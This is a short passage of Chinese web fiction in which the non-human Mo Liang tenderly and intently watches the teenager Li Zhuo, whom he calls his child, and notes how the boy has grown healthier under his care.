他的目光细细地临摹少年面部的每一根微小的绒毛,每一颗或深或浅的小痣,每一次呼吸的起伏和气流…
这位来自遥远的污染纪元后裔不知道这样的注视对原始人类而言代表什么,他只知道那是他的孩子。
他想这样无休止地望着他,什么也不做,只是让他的身影永久住在自己的视网膜内。
在这半学期,李卓长高了,凹陷的脸颊充盈起来,体态也挺拔了…
嘴唇薄而红润,眉目清俊,眼潭黝黑,不知所措时带着少年特有的懵懂,不说话发呆时又显得格外冷漠。
加上才理了新发型,将之前有些遮挡视线的刘海剪去,将饱满的额头、冷锐的眉眼完全露了出来后,路上偷偷回头张望的人数更是直线攀升。
简而言之,以前蔫了吧唧没精打采的小白菜被养育者精心浇灌后,干瘪的叶子吸饱水分,已经长成一株水灵灵的小白菜!
系统说任务目标本就在成长期,充足的营养跟上后,都是很正常的。
莫良对此充耳不闻,只默默将自己的呼吸频率逐渐调整到和李卓同频,在一呼一吸之间,逐渐合二为一。
「我的孩子正在呼吸…」
「喜欢…」
「好喜欢…」